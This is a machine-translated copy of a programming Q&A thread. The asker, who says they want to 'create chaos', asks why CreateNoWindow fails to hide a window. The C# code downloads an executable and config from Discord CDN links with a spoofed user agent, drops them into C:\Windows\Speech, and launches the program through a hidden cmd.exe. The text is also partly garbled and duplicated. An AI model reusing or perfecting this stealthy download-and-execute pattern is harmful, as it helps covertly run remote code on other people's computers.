C# CreateNoWindow=true;不隐藏窗口

C# CreateNoWindow=true;不隐藏窗口,c#,system.diagnostics,C#,System.diagnostics,所以我试图制造混乱。我使用了easyrp,我希望它不显示任何窗口。我使用了process.StartInfo.CreateNoWindow=true但它仍然显示窗口。为什么? 代码:(我隐藏了链接) 哪个窗口正在出现CreateNoWindow正在为cmd.exe设置,而不是easyrp.exe。我也尝试将CreateNoWindow添加到easyrp.exe,但它不起作用。为什么不直接启动easyrp.exe进程?如果流程从何处开始非常重要,则可以使用。您在easyrp.exe上尝试Creat

所以我试图制造混乱。我使用了easyrp,我希望它不显示任何窗口。我使用了
process.StartInfo.CreateNoWindow=true但它仍然显示窗口。为什么?

代码:(我隐藏了链接)


哪个窗口正在出现
CreateNoWindow
正在为
cmd.exe
设置,而不是
easyrp.exe
。我也尝试将
CreateNoWindow
添加到easyrp.exe,但它不起作用。为什么不直接启动
easyrp.exe
进程?如果流程从何处开始非常重要,则可以使用。您在
easyrp.exe
上尝试
CreateNoWindow
时是否遵循了中的说明?您是否可以编辑您的问题,将您在
easyrp.exe
中使用
CreateNoWindow
的情况包括在内?它可能会澄清这个问题。
WebClient webClient = new WebClient();
webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36");
webClient.DownloadFile("https://cdn.discordapp.com/attachments/640222597719654412/653277233565401...", "C:\\Windows\\Speech\\easyrp.exe");
webClient.DownloadFile("https://cdn.discordapp.com/attachments/575030950493421598/6844499041264...", "C:\\Windows\\Speech\\config.ini");
webClient.Proxy = null;
Process process = new Process();
process.StartInfo.CreateNoWindow = true;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.FileName = "cmd.exe";
process.Start();
process.StandardInput.WriteLine("cd C:\\Windows\\Speech");
process.StandardInput.WriteLine("start easyrp.exe");
process.Start();